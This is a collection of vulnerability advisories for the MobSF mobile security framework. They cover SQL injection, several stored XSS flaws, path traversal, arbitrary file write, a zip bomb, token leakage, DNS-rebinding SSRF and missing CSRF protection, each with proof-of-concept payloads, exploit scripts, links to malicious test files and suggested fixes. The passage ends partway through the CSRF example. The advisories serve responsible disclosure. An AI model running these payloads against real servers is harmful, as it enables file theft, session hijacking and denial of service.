When the malicious table name is the first table in sqlite_master (i.e., created first in the database), the PRAGMA statement on line 553 raises a sqlite3.OperationalError, which is caught by the outer try/except. This causes read_sqlite() to return an empty or partial result, preventing the analyst from viewing any database content.

Security impact: A malicious app author can use this technique to hide incriminating data stored in SQLite databases from MobSF's analysis. This directly undermines MobSF's core purpose as a security analysis tool.

SQL Injection (Confirmed in Isolation)

The SELECT * FROM query on line 557 is demonstrably injectable. When the malicious table name x' UNION SELECT 'SQL_INJECTION_PROOF'-- is interpolated, the resulting query:

SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--'

Successfully executes and returns attacker-controlled data via UNION SELECT. The -- comments out the trailing single quote. This is verified by the PoC script.

Note: In the current code structure, the PRAGMA table_info() statement on line 553 runs before the SELECT * FROM on line 557. The PRAGMA fails with a syntax error for injected payloads, which triggers the exception handler before the SELECT can execute. This limits the full exploitation chain. However, the code flaw is real and any future refactoring that changes the execution order or removes the PRAGMA would immediately expose the full SQL injection.

Proof of Concept

Files Provided(Gdrive)

| File | Description | |------|-------------| | poc_sqlite_injection.py | Standalone PoC demonstrating the vulnerability | | malicious.db | Crafted SQLite database (generated by PoC) | | create_malicious_apk.sh | Script to package the malicious DB into an APK | | malicious_sqli.apk | Pre-built APK for testing against MobSF |

https://drive.google.com/drive/folders/1mNGkFfNowkaZ5J018HFi4IQcnjKaWCym?usp=sharing

Running the PoC

# Run the standalone PoC (no MobSF required)
python3 poc_sqlite_injection.py

# Build the malicious APK (requires Android SDK)
./create_malicious_apk.sh

# Test against MobSF
# 1. Start MobSF
# 2. Upload malicious_sqli.apk
# 3. Browse extracted files -> click app_data.db
# 4. Observe: database viewer fails (DoS)

PoC Output (Abbreviated)

[STEP 2] Running MobSF's read_sqlite() against malicious database...
    [!] EXCEPTION CAUGHT: OperationalError: near "UNION": syntax error
    [!] DoS CONFIRMED: read_sqlite() crashed

[STEP 3] Demonstrating SELECT * FROM injection in isolation...
    Query: SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--'
    [+] Query executed successfully!
    [+] Results: [('SQL_INJECTION_PROOF',), ('normal_data',)]
    [+] SQL INJECTION CONFIRMED

[STEP 4] Complete DoS (malicious table created first):
    Tables with data: NONE
    [!] COMPLETE DoS CONFIRMED

Suggested Fix

Replace string formatting with properly quoted identifiers. SQLite uses double quotes for identifiers:

def read_sqlite(sqlite_file):
    """Sqlite Dump - Readable Text."""
    table_dict = {}
    try:
        con = sqlite3.connect(sqlite_file)
        cur = con.cursor()
        cur.execute('SELECT name FROM sqlite_master WHERE type=\'table\';')
        tables = cur.fetchall()
        for table in tables:
            table_name = table[0]
            # Properly escape table name as a double-quoted identifier
            safe_name = table_name.replace('"', '""')
            table_dict[table_name] = {'head': [], 'data': []}
            cur.execute(f'PRAGMA table_info("{safe_name}")')
            rows = cur.fetchall()
            for sq_row in rows:
                table_dict[table_name]['head'].append(sq_row[1])
            cur.execute(f'SELECT * FROM "{safe_name}"')
            rows = cur.fetchall()
            for sq_row in rows:
                tmp_row = []
                for each_row in sq_row:
                    tmp_row.append(str(each_row))
                table_dict[table_name]['data'].append(tmp_row)
    except Exception:
        logger.exception('Reading SQLite db')
    return table_dict

This escapes any double quotes within table names by doubling them (" → ""), which is the standard SQL mechanism for identifier quoting. This prevents breakout from the double-quoted identifier context.

Resources

• CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
• OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
• Affected File: mobsf/MobSF/utils.py, lines 542-566

Summary

A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="android_secret_code"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.

Details

When MobSF analyzes an Android APK containing a <data> element with android:scheme="android_secret_code", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.

Vulnerable Code Path

1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 776):

xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))

2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 806):

'title': a_template['title'] % t_name,  # XSS payload inserted here unescaped

3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py (line 200):

'dialer_code_found': {
    'title': 'Dailer Code: %s Found <br>[android:scheme=\"android_secret_code\"]',
    ...
}

4. Unsafe Rendering - mobsf/templates/static_analysis/android_binary_analysis.html (line 1143):

{{item|key:"title" | safe}}

The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.

PoC

Step 1: Create Malicious APK

Create an APK with the following AndroidManifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.xsstest"
    android:versionCode="1"
    android:versionName="1.0">

    <application android:label="XSS PoC Test">
        <receiver android:name=".SecretCodeReceiver" android:exported="true">
            <intent-filter>
                <action android:name="android.provider.Telephony.SECRET_CODE"/>
                <data android:scheme="android_secret_code"
                      android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>

Step 2: Build the APK

Use apktool or Android build tools to create a valid APK with this manifest.

Step 3: Upload to MobSF

Upload the malicious APK to MobSF for static analysis.

Step 4: Trigger XSS

View the static analysis report in a browser. The JavaScript payload executes automatically.

Confirmed HTML Output

<td>
Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="android_secret_code"]
</td>

PoC APK Details

| Field | Value | |-------|-------| | Filename | POC_XSS_APK.apk | | MD5 Hash | 647258656ed03a7e6a0f2acce4ec6a5b | | Location | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |

Impact

This is a Stored Cross-site Scripting (XSS) vulnerability affecting all MobSF users who analyze the results of the malicious APK file.

Attack Scenario

1. Attacker crafts a malicious APK with XSS payload in the manifest
2. Attacker submits APK to a shared MobSF instance or private mobsf instance.
3. When any user views the analysis report, the XSS payload executes in their browser

Tested in MobSF Public Instance as well. https://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/

Summary

The GET /download/ route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from "neighboring" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.

Details

def is_safe_path(safe_root, check_path):
    safe_root  = os.path.realpath(os.path.normpath(safe_root))
    check_path = os.path.realpath(os.path.normpath(check_path))
    return os.path.commonprefix([check_path, safe_root]) == safe_root

commonprefix compares raw strings, not path components. For:

safe_root  = /home/mobsf/.MobSF/downloads
check_path = /home/mobsf/.MobSF/downloads_bak/test.txt

the function returns True, incorrectly treating downloads_bak as inside downloads. Download handler:

# MobSF/views/home.py
@login_required
def download(request):
    root = settings.DWD_DIR
    filename = request.path.replace('/download/', '', 1)
    dwd_file = Path(root) / filename  # absolute 'filename' ignores 'root'
    if '../' in filename or not is_safe_path(root, dwd_file):
        return HttpResponseForbidden(...)
    ext = dwd_file.suffix
    if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file():
        return file_download(dwd_file, ...)

If the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.

Which file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS

PoC

Prereqs: authenticated user; standard install. Assume:

settings.DWD_DIR = /home/mobsf/.MobSF/downloads

Prepare a sibling directory with the same string prefix and a test file:

mkdir -p /home/mobsf/.MobSF/downloads_bak
echo "test" > /home/mobsf/.MobSF/downloads_bak/test.txt

As an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):

GET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1
Host: <HOST>
Cookie: sessionid=<YOUR_SESSION>

Other working sibling directory names (if present):

…/downloads.old/...
…/downloads_backup/...
…/downloads1/...
…/downloads-archive/...
…/downloads 2024/... (URL-encoded space: downloads%202024)

Impact

Any authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.

Summary

The vulnerability allows any user to overwrite any files available under the account privileges of the running process.

Details

As part of static analysis, iOS MobSF supports loading and parsing statically linked libraries .a. When parsing such archives, the code extracts the embedded objects to the file system in the working directory of the analysis. The problem is that the current implementation does not prohibit absolute file names inside .a. If an archive item has a name like /abs/path/to/file, the resulting path is constructed as Path(dst) /name; for absolute paths, this leads to a complete substitution of the destination directory: writing occurs directly to the specified absolute directory. the path (outside the working directory).

Thus, an authenticated user who uploaded a specially prepared .a, can write arbitrary files to any directory writable by the user of the MobSF process (for example, /tmp, neighboring directories inside ~/.MobSF, etc.).

The key reason is that checking the "sliding" paths only takes into account the presence of .. (relative traversal), but does not take into account the absoluteness of the name and does not compare the normalized target path with the root directory of the extraction.

What exactly is vulnerable:

mobsf/StaticAnalyzer/views/common/shared_func.py Function for extracting objects from .a — ar_extract

def ar_extract(checksum, src, dst):
    """Extract AR archive."""
    ...
    ar = arpy.Archive(src)
    ar.read_all_headers()
    for a, val in ar.archived_files.items():
        # Handle archive slip attacks
        filtered = a.decode('utf-8', 'ignore')
        if is_path_traversal(filtered):
            msg = f'Zip slip detected. skipped extracting {filtered}'
            logger.warning(msg)
            append_scan_status(checksum, msg)
            continue
        out = Path(dst) / filtered
        out.write_bytes(val.read())

• The “slip” check is limited to is_path_traversal(filtered), which looks only for traversal patterns like .., %2e%2e, %252e.
• Therefore, if the .a archive contains a member named '/tmp/pwned.txt', MobSF will write it to /tmp/pwned.txt, outside the intended working directory.

ar_extract is called from: mobsf/StaticAnalyzer/views/common/a.py

def extract_n_get_files(checksum, src, dst):
    dst = Path(dst) / 'static_objects'
    dst.mkdir(parents=True, exist_ok=True)
    ar_extract(checksum, src, dst.as_posix())

The expectation is that extraction happens only under the static_objects subdirectory, but absolute file names inside the .a break this assumption by directing writes outside that directory.

Attack Scenario

1. The attacker creates a valid AR archive.a, in which the name of one of the members is the absolute path (as an example) /home/mobsf/.MobSF/db.sqlite3. This is done by the standard AR (GNU long filename table) mechanism.
2. It downloads this one via the web interface or the Static library loading API .a in MobSF.
3. During the analysis, MobSF extracts the contents: due to the absolute name, the resulting path becomes /home/mobsf/.MobSF/db.sqlite3, and the file is created/overwritten outside the working directory.
4. In our case, the database file was overwritten, which caused MobSF to malfunction.

PoC

1. Using the script, create a file with the payload. In the example, this is "/home/mobsf/.MobSF/db.sqlite3"

2. Connect to the container and verify that the db.sqlite3 file is a database. The scan has not been performed yet.

3. Upload the file for scanning and then update the page to get a server error.

4. Check the file structure after scanning and see that the file has been overwritten.

5. There is a database error in the MobSF log.

Impact

1. Arbitrary writing/overwriting of files within the rights of the MobSF process (for example, /tmp, directories with analysis results, logs).
2. Distortion of analysis results (substitution of artifacts) and undermining the integrity of reports.
3. Implementation of a system malfunction (overwriting the db.sqlite3 file).
4. Compromise of the UI (if you have write rights to statics/templates): Stored XSS by overwriting the plug-in.js/template.
5. Potential escalation of risks with lax configuration of containers/rights (for example, writing to system paths inside the container if the process is running with excessive privileges).

Mitigation

Reject absolute paths and normalize before writing.

Please, assign all credits to Vasily Leshchenko (Solar AppSec)

Vulnerable MobSF Versions: <= v4.3.2

Details: MobSF is a widely adopted mobile application security testing tool used by security teams across numerous organizations. Typically, MobSF is deployed on centralized internal or cloud-based servers that also host other security tools and web applications. Access to the MobSF web interface is often granted to internal security teams, audit teams, and external vendors.

MobSF provides a feature that allows users to upload ZIP files for static analysis. Upon upload, these ZIP files are automatically extracted and stored within the MobSF directory. However, this functionality lacks a check on the total uncompressed size of the ZIP file, making it vulnerable to a ZIP of Death (zip bomb) attack.

Due to the absence of safeguards against oversized extractions, an attacker can craft a specially prepared ZIP file that is small in compressed form but expands to a massive size upon extraction. Exploiting this, an attacker can exhaust the server's disk space, leading to a complete denial of service (DoS) not just for MobSF, but also for any other applications or websites hosted on the same server.

Attack Scenario: Suppose the server hosting MobSF has 5 GB of free disk space..

A malicious user will first create a genuine hello world application code using android studio and inside this code directory (app//src/main/java/APK_PATH/bomb.txt) he'll place a bomb.txt file.

This bomb.txt file will have billions of zeros to increase the file size on storage and make it to 4.99 GB. Now suppose the resultant hello world code directory including original code and bomb.txt files will be of 5GB, so the attacker will compress the entire hello world code directory to zip and resultant zip will be around 12-15 MBs only.

An attacker will upload this zip bomb using the MobSF web interface or API. So an attacker will spend only 12-15 MB of his bandwidth.

Now the MobSF tool will extract that zip file and it'll be automatically converted into its original size 5GB.

So now a web server will be forced to store 5GB of data and its storage will be exhausted by an attacker's single request.

Web server's storage and resources will not be able to handle other running websites or applications as the storage is exhausted. This way an attacker can achieve complete Web Server Resource Exhaustion.

Impact:

1. This vulnerability can lead to complete server disruption in an organization which can affect other internal portals and tools too (which are hosted on the same server).
2. If some organization has created their customised cloud based mobile security tool using MobSF core then an attacker can exploit this vulnerability to crash their servers.

POC:

1. Screen Recording :
   https://drive.google.com/file/d/1x7GEPJr2T04Ij5ZFQQtGWvUWXtM4M4aw/view?usp=sharing
2. POC Zip Bomb File (Upon extraction this file will consume 6GB of storage) : https://drive.google.com/file/d/1N3apL1ySMecnt3HUQcDcuH7hsjPrdwUj/view?usp=sharing

Mitigation: It is recommended to implement a safeguard that checks the total uncompressed size of any uploaded ZIP file before extraction. If the estimated uncompressed size exceeds a safe threshold (e.g., 100 MB), MobSF should reject the file and notify the user.

Vulnerable MobSF Versions: <= v4.3.2

CVSS V4.0 Score: 8.6 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N)

Details: A Stored Cross-Site Scripting (XSS) vulnerability has been identified in MobSF versions ≤ 4.3.2. The vulnerability arises from improper sanitization of user-supplied SVG files during the Android APK analysis workflow.

When an Android Studio project contains a malicious SVG file as an app icon (e.g path, /app/src/main/res/mipmap-hdpi/ic_launcher.svg), and the project is zipped and uploaded to MobSF, the tool processes and extracts the contents without validating or sanitizing the SVG.

Upcon ZIP extraction this icon file is saved by MobSF to: user/.MobSF/downloads/.svg

This file becomes publicly accessible via the web interface at:

http://127.0.0.1:8081/download/filename.svg

If the SVG contains embedded JavaScript (e.g., an XSS payload), accessing this URL via a browser leads to the execution of the script in the context of the MobSF user session, resulting in stored XSS.

Proof Of Concept:

1. Create a malicious SVG file (ic_launcher.svg) with an embedded XSS payload.

2. Place the file in the Android Studio project directory: /app/src/main/res/mipmap-hdpi/ic_launcher.svg

3. Zip the project directory and upload it to MobSF.

4. After the scan, navigate to the "Recent Scans" page in the MobSF web interface and click on the scan entry and open the icon file in a new browser tab.

5. The XSS payload is executed, confirming the vulnerability.

Product: Mobile Security Framework (MobSF) Version: 4.3.0 CWE-ID: CWE-269: Improper Privilege Management CVSS vector v.4.0: 7.1 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N) CVSS vector v.3.1: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) Description: MobSF has a functionality of dividing users by roles. This functionality is not efficient, because any registered user can get API Token with all privileges. Impact: Information Disclosure Vulnerable component: Code output component (/source_code) Exploitation conditions: authorized user Mitigation: Remove token output in the returned js-script Researcher: Egor Filatov (Positive Technologies)

Research

Researcher discovered zero-day vulnerability «Local Privilege Escalation» in Mobile Security Framework (MobSF). To reproduce the vulnerability follow the steps below.

• A user with minimal privileges is required, so the administrator must create a user account

Figure 1. Registration

• Go to static analysis of any application

Figure 2. Static analysis

• Go to the code review of the selected application and get a token with all privileges in the response

Figure 3. Token receiving

• This token can be used to retrieve dynamic analysis information that has not been accessed before.

Figure 4. No access demonstration

Figure 5. Token usage

As a result, the user is able to escalate the privileges.

Please, assign all credits to: Egor Filatov (Positive Technologies)

Partial Denial of Service (DoS)

Product: MobSF Version: v4.2.9 CWE-ID: CWE-1287: Improper Validation of Specified Type of Input CVSS vector v.4.0: 6.9 (AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) CVSS vector v.3.1: 6.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) Description: DoS in the Scans Results and iOS Dynamic Analyzer functionality Impact: Leveraging this vulnerability would make Scans Results and iOS Dynamic Analyzer pages unavailable. Vulnerable component: urls.py https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/MobSF/urls.py#L401 Exploitation conditions: A malicious application was uploaded to the MobSF. Mitigation: Check the uploaded bundle IDs against the regex. Researcher: Oleg Surnin (Positive Technologies)

Research

Researcher discovered zero-day vulnerability Partial Denial of Service (DoS) in MobSF in the Scans Results and iOS Dynamic Analyzer functionality. According to Apple's documentation for bundle ID's, it must contain only alphanumeric characters (A–Z, a–z, and 0–9), hyphens (-), and periods (.). (https://developer.apple.com/documentation/bundleresources/information-property-list/cfbundleidentifier) However, an attacker can manually modify this value in Info.plist file and add special characters to the <key>CFBundleIdentifier</key> value. In the urls.py file URL rules are defined. https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/MobSF/urls.py#L401

Listing 3.

bundle_id_regex = r'(?P<bundle_id>([a-zA-Z0-9]{1}[\w.-]{1,255}))$'

# skip code
re_path(fr'^ios/view_report/{bundle_id_regex}',
                ios_view_report.ç,
                name='ios_view_report'),

When the application parses the wrong characters in the bundle ID, it encounters an error. As a result, it will not display content and will throw a 500 error instead. The only way to make the pages work again is to manually remove the malicious application from the system.

Vulnerability reproduction

To reproduce the vulnerability, follow the steps described below.

• Unzip the IPA file of any iOS application.

Listing 4. Unzipping the file

unzip test.ipa

• Modify the value of <key>CFBundleIdentifier</key> by adding restricted characters in the Info.plist file.

*Figure 7. Example with ' character`

• Zip the modified IPA file.

Listing 5. Zipping the file

zip -r dos.ipa Payload/

• Upload the modified IPA file to Static Analysis and wait until it finished • Open the following pages: http://mobsf/recent_scans/ http://mobsf/ios/dynamic_analysis/

Figure 8. DoS Example

Figure 9. DoS Example

Please, assign all credits to Oleg Surnin (Positive Technologies)

Product: MobSF Version: < 4.3.1 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.4.0: 8.5 (AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N) CVSS vector v.3.1: 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N) Description: Stored XSS in the iOS Dynamic Analyzer functionality. Impact: Leveraging this vulnerability would enable performing actions as users, including administrative users. Vulnerable component: dynamic_analysis.html https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/templates/dynamic_analysis/ios/dynamic_analysis.html#L406 Exploitation conditions: A malicious application was uploaded to the Correlium. Mitigation: Use escapeHtml() function on the bundle variable. Researcher: Oleg Surnin (Positive Technologies)

Research

Researcher discovered zero-day vulnerability Stored Cross-site Scripting (XSS) in MobSF in iOS Dynamic Analyzer functionality. According to Apple's documentation for bundle ID's, it must contain only alphanumeric characters (A–Z, a–z, and 0–9), hyphens (-), and periods (.). (https://developer.apple.com/documentation/bundleresources/information-property-list/cfbundleidentifier) However, an attacker can manually modify this value in Info.plist file and add special characters to the <key>CFBundleIdentifier</key> value. In the dynamic_analysis.html file you do not sanitize received bundle value from Corellium https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/templates/dynamic_analysis/ios/dynamic_analysis.html#L406

Figure 1. Unsanitized bundle

As a result, it is possible to break the HTML context and achieve Stored XSS.

Vulnerability reproduction

To reproduce the vulnerability, follow the steps described below.

• Unzip the IPA file of any iOS application. Listing 1. Unzipping the file

unzip test.ipa

• Modify the value of <key>CFBundleIdentifier</key> by adding restricted characters in the Info.plist file.

Figure 2. Example of the modified Bundle Identifier

• Zip the modified IPA file.

Listing 2. Zipping the file

zip -r xss.ipa Payload/

• Upload the modified IPA file to your virtual device using the Correlium platform.

Figure 3. Example of the uploaded malicious application

• Open the XSS functionality and hover the mouse over the Uninstall button of the malicious app.

Figure 4. Example of the 'Uninstall' button

Figure 5. Example of the XSS

Figure 6. Example of the vulnerable code

Please, assign all credits to: Oleg Surnin (Positive Technologies)

Summary

The application allows users to upload files with scripts in the filename parameter. As a result, a malicious user can upload a script file to the system. When users in the application use the "Diff or Compare" functionality, they are affected by a Stored Cross-Site Scripting vulnerability.

Details

I found a Stored Cross-Site Scripting vulnerability in the "Diff or Compare" functionality. This issue occurs because the upload functionality allows users to upload files with special characters such as <, >, /, and " in the filename. This vulnerability can be mitigated by restricting file uploads to filenames containing only whitelisted characters, such as A-Z, 0-9, and specific special characters permitted by business requirements, like - or _ .

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

1. On MobSF version 4.2.8, I clicked on "Unload & Analyze" button.

2. I uploaded zip file as a name test.zip.

3. I used an intercepting proxy tool while uploading a file and changed the value of the filename parameter from test.zip to <image src onerror=prompt(document.domain)>test.zip. This means I uploaded a file and set its name to a script value. As a result, the server allowed the file to be uploaded successfully.

4. I accessed /recent_scans/ and found a file named <image src onerror=prompt(document.domain)>test.zip in the recent scans. Then, I clicked on the "Differ or Compare" button."

5. I found that the application requires selecting a file to compare, and I selected the file <image src onerror=prompt(document.domain)>test.zip

6. I found that the JavaScript in the filename value was executed in the web browser.

Impact

Allowing a malicious user to upload a script in the filename parameter can be used to steal information from other users or administrators when they perform the compare functionality. The script will be stored in the system permanently in this vulnerability.

Summary

The latest deployed fix for the SSRF vulnerability is through the use of the call valid_host(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.

PoC

The following proof of concept:

def valid_host(host):
    """Check if host is valid."""
    try:
        prefixs = ('http://', 'https://')
        if not host.startswith(prefixs):
            host = f'http://{host}'
        parsed = urlparse(host)
        domain = parsed.netloc
        path = parsed.path
        if len(domain) == 0:
            # No valid domain
            return False, None
        if len(path) > 0:
            # Only host is allowed
            return False, None
        if ':' in domain:
            # IPv6
            return False, None
        # Local network
        invalid_prefix = (
            '100.64.',
            '127.',
            '192.',
            '198.',
            '10.',
            '172.',
            '169.',
            '0.',
            '203.0.',
            '224.0.',
            '240.0',
            '255.255.',
            'localhost',
            '::1',
            '64::ff9b::',
            '100::',
            '2001::',
            '2002::',
            'fc00::',
            'fe80::',
            'ff00::')
        if domain.startswith(invalid_prefix):
            return False, None
        ip = socket.gethostbyname(domain)
        if ip.startswith(invalid_prefix):
            # Resolve dns to get IP
            return False, None
        return True, ip
    except Exception:
        return False, None

import random
import time
import socket
from urllib.parse import urlparse

if __name__ == '__main__':
    print("Generating random host ...", end=' ')     
    prefix = random.randint(999_999, 9_999_999)
    host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms"
    print("Done")
    print(f"Testing with '{host}' ... ", end=" ")
    valid, ip = valid_host(host)
    if valid:
        print(f"Successful Bypass")
        print(f" - Host initially resolved to: {ip}")
        print("Sleeping for 1 second ...")
        time.sleep(1)
        print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}")
        print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}")
        print("Sleeping for 30 seconds ...")
        time.sleep(30)
    else:
        print(f"Invalid host")

Yields :

$ python3 poc.py
Generating random host ... Done
Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ...  Successful Bypass
 - Host initially resolved to: 1.1.1.1
Sleeping for 1 second ...
 - Second use host will be resolved to: 127.0.0.1
 - Third use host will be resolved to: 127.0.0.1
Sleeping for 30 seconds ...

Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds. As you can notice the initial resolution was pointing to 1.1.1.1. The second time the IP was resolved to 127.0.0.1. Such an attack could be adjusted for other IP addresses.

Impact

The usual impact of Server-side request forgery.

Remediation

• Avoid the use of socket.gethostbyname() since it issues and DNS query.

Summary

The find_icon_path_zip() function in MobSF does not properly sanitize the android:icon attribute extracted from an Android manifest before resolving it as a filesystem path.

An attacker can supply a malicious android:icon value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (DWD_DIR). These files can then be retrieved by any authenticated user via the /download/<filename> endpoint, provided the file extension is included in ALLOWED_EXTENSIONS.

Details

elif icon_path.startswith(('res/', '/res/')):
    stripped_relative_path = icon_path.strip('/res')  # Works for neither /res nor res
    full_path = os.path.join(res_dir, stripped_relative_path)
    if os.path.exists(full_path):
        return full_path
    full_path += '.png'
    if os.path.exists(full_path):
        return full_path

https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L126

This code enables path traversal if a value like 'res/../../../signatures/maltrail-malware-domains.txt' is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into DWD_DIR/<md5>-icon.<ext>:

icon_file = find_icon_path_zip(
        app_dic['md5'],
        res_path,
        icon_from_mfst)
    if icon_file and Path(icon_file).exists():
        dwd = Path(settings.DWD_DIR)
        out = dwd / (app_dic['md5'] + '-icon' + Path(icon_file).suffix)
        copy2(icon_file, out)
        app_dic['icon_path'] = out.name

https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L101

Because the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via: GET /download/<md5>-icon.<ext>

PoC

The following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt):

import hashlib
import io
import zipfile

DEFAULT_HOST = "http://localhost:8000"
DEFAULT_TARGET = "res/../../../signatures/maltrail-malware-domains.txt"

MANIFEST_TEMPLATE = """\
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.icontraversal">
    <application android:icon="{target}"
                 android:label="PoC App">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>
</manifest>
"""

MAIN_ACTIVITY = """\
package com.poc.icontraversal;
import android.app.Activity;
public class MainActivity extends Activity {}
"""

host = DEFAULT_HOST
target = DEFAULT_TARGET
host = host.rstrip("/")

# crate ZIP
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr("AndroidManifest.xml", MANIFEST_TEMPLATE.format(target=target))
    zf.writestr("src/com/poc/icontraversal/MainActivity.java", MAIN_ACTIVITY)
    zf.writestr("res/drawable/placeholder.png", b"\x89PNG\r\n\x1a\n")

# compute hash
zip_bytes = buf.getvalue()
md5 = hashlib.md5(zip_bytes).hexdigest()

# write to disk
out_file = "poc_icon_traversal.zip"
with open(out_file, "wb") as f:
    f.write(zip_bytes)

import os
target_suffix = os.path.splitext(target.strip("/res").split("/")[-1])[1]
download_filename = f"{md5}-icon{target_suffix}"

print(f"[+] ZIP created : {os.path.abspath(out_file)}")
print(f"[+] Target file : {target}")
print()
print("[ Step 1 ] Upload the ZIP manually via the MobSF web UI")
print()
print("[ Step 2 ] Wait for the scan to complete, then browse to:")
print(f"    {host}/download/{download_filename}")

Impact

This vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in ALLOWED_EXTENSIONS. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the icon_path field in the scan report (if the target does not exist the path will be empty).

Depending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts.

Remediation

This can fixed by using the is_path_traversal function to validate user input.

Summary

Django's CsrfViewMiddleware exists only in the deprecated MIDDLEWARE_CLASSES (ignored since Django 2.0). The active MIDDLEWARE tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.

Verified Impact

This was verified by actually deleting a real scan from the running server using only a session cookie — no CSRF token was required:

$ curl -s -b cookies.txt -X POST "http://127.0.0.1:8000/delete_scan/" \
    -d "md5=68e76627798d62555d5287f4488a32c7&scan_type=apk"
{"deleted": "yes"}

The scan was removed from the database. This attack works from any website via HTML form auto-submission because:

• No CSRF token is validated (middleware absent)
• Cookie SameSite=Lax allows form-based top-level navigation to send the session cookie

Affected Component

File: mobsf/MobSF/settings.py (Lines 206-212)

MIDDLEWARE = (
    'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    # MISSING: 'django.middleware.csrf.CsrfViewMiddleware'
)

Steps to Reproduce

1. Start MobSF v4.4.6 and log in at http://127.0.0.1:8000/login/ (creds: mobsf/mobsf).

2. Upload and scan any APK to create a scan entry. Note the MD5 hash from "Recent Scans".

3. Open the following HTML file in the same browser (simulates visiting attacker's page):

<!DOCTYPE html>
<html>
<head><title>Innocent Page</title></head>
